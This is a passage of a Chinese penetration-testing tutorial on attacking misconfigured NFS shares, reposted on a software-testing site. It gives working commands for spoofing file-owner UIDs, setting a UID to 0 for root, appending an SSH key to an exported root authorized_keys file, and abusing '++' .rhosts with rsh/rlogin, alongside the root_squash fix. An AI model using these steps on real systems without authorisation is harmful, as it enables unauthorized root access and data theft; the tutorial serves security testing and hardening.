针对NFS的渗透测试

发表于:2018-1-17 14:25

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:secist    来源:FREEBUF

  UID操作
  如果对于共享上的文件我们没有读取权限该怎么办?其实这也很简单,我们可以伪造文件所有者的UID来欺骗NFS服务器。以下展示的是NFS文件访问拒绝提示:
  
  首先,我们通过以下命令来获取文件所有者的UID(用户ID)和GUID(组ID)。
  ls -al

  接着,我们在本地创建一个新用户,并将该用户的UID和名称修改为与文件所有者相同。
  useradd <user>
  passwd <user>
  UID可以在passwd文件中更改。
  vi /etc/passwd
  
  从挂载的文件夹执行su命令,并使用之前创建的已知密码,此时当前用户将会被切换到新用户。
  su <useraccount>
 

  由于该文件的UID与新用户的UID相同,因此系统会误认为这是文件权限的所有者,这样我们就可以以一个合法的用户身份来读取文件的内容了。
  之所以造成这种问题,原因在于导出文件夹并未设置root_squash选项。root_squash登入NFS主机,使用该共享目录时相当于该目录的拥有者。但是如果是以root身份使用这个共享目录的时候,那么这个使用者(root)的权限将被压缩成为匿名使用者,即通常他的UID与GID都会变成nobody那个身份,以防止越权访问。
  可以在以下位置启用或禁用root_squash选项:
  vi /etc/exports
  /home 192.168.1.47(root_squash) // Enables Root Squash
  /home 192.168.1.47(no_root_squash) // Disables Root Squash
  如果passwd文件具有写入权限,那么我们可以通过将一些非特权用户的UID更改为0,使其具有根级别的访问权限。从下图中可以看到,我将service用户的UID修改为了0,此时该用户将具备root的访问权限。
  
  通过SSH连接命令再次与目标服务器建立连接,service将获取到一个root访问权限。

  
  shell访问
  根据存储在导出文件夹中的文件,可能可以通过SSH或RSH和Rlogin来获取到shell访问权限。 我们着重来关注以下两个文件:
  authorized_keys
  rhosts
  这两个文件都隐藏在NFS文件夹中,我们可以利用以下命令来确定这些文件的存在。
  ls -al
  
  生成一个SSH密钥对并将其公钥添加到授权密钥列表中,那样我们就可以通过NFS服务器上的SSH与其建立连接了。
  cd /root/.ssh/
  ssh-keygen -t rsa -b 4096
  cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
  cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
  ssh -i /root/.ssh/id_rsa root@192.168.1.189


  .rhosts文件用来配置哪些远程主机或用户可以访问系统上的本地帐户。如果.rhosts文件的内容为++符号,则说明它允许来自网络上的任何主机和用户的连接。
  cat .rhosts
  ++

 

  以下命令将允许系统的root用户直接连接目标系统,系统将不会提示密码输入,因为来自系统的所有用户都将被信任。
  rsh -l root IP
  rlogin -l root IP



  或者如果.rhosts的内容不同,则检查文件将有助于确定哪些主机和用户是可信的,因此可以在无需密码的情况下进行身份验证。


上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号